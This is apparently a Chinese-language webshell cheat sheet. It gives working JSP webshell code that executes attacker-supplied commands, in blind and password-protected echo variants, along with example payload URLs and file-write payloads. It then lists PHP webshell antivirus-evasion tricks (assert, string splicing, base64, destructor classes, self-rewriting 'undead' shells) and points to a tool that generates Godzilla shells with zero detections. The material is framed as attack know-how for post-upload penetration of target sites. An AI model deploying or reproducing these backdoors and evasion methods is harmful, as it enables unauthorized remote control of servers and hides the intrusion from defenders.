各类Webshell

JSP_Webshell

1.无回显的命令执行

命令执行后不会在前端页面返回数据

<%Runtime.getRuntime().exec(request.getParameter("i"));%>  //`i`输入要执行的命令

payload: http://127.0.0.1/shell.jsp?i=whoami

2.有回显带密码的命令执行

命令执行后会在前端返回数据

<%
    if("023".equals(request.getParameter("pwd"))){  //"pwd"是Webshell的密码
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

payload:http://127.0.0.1/shell.jsp?pwd=admin&i=whoami

3.文件写入

更改目标服务器里的文件,若文件不存在则创建

ISO-8859-1输入

payload:http://127.0.0.1/input.jsp?file=root/test.txt&content=test , file表示写入的文件路径, content表示写入的文件内容

UTF-8输入

payload:http://127.0.0.1/input.jsp?file=root/test.txt&content=test

Web目录写入

payload:http://127.0.0.1/input.jsp?file=test.txt&content=test

PHP_Webshell

Webshell的使用

如下代码是一个简单的webshell, 分别有GET请求和POST请求

将webshell上传到目标网站目录后,可通过如中国菜刀等webshell管理工具对网站进行后续的渗透

QQ截图20190415202632
QQ截图20190415203455

Webshell免杀方式

1.assert()

若网页过滤了eval()函数, 可以用assert()将其替代

2.采用字符串拼接

若网页过滤了eval()assert(), 可使用substr_replace()进行字符串拼接

substr_replace()构造的webshell如下代码所示

除了substr_replace()函数外, 还可以使用"."来拼接字符串

3.创建函数

如下代码所示, 通过调用含有assert()函数的TEST函数来实现构造Webshell

4.request请求

若网页过滤了GETPOST请求,可以采用request请求

5.构造类

先构造一个类调用__destruct函数, 再利用字符串拼接

在对象生命周期结束后,例如当脚本结束或显式地销毁该对象时,__destruct 方法将被自动调用

6.base64解密

对敏感字符串或函数名进行base64加密, 然后写webshell代码时再对其进行解密

7.不死马

若上传不死马至目标网站目录, 则不死马会无间断对其目录下的指定文件写入webshell代码

工具免杀

BypassGodzilla

Tas9er师傅的免杀工具:https://github.com/Tas9er/ByPassGodzilla

终端打开工具, 然后选择编号生成对应的webshell脚本

image-20230201203956140

随后会在工具所在目录生成webshell脚本

image-20230201204049862

将脚本发送至在线查杀网站检测, 结果显示0报毒

image-20230201210237358

最后更新于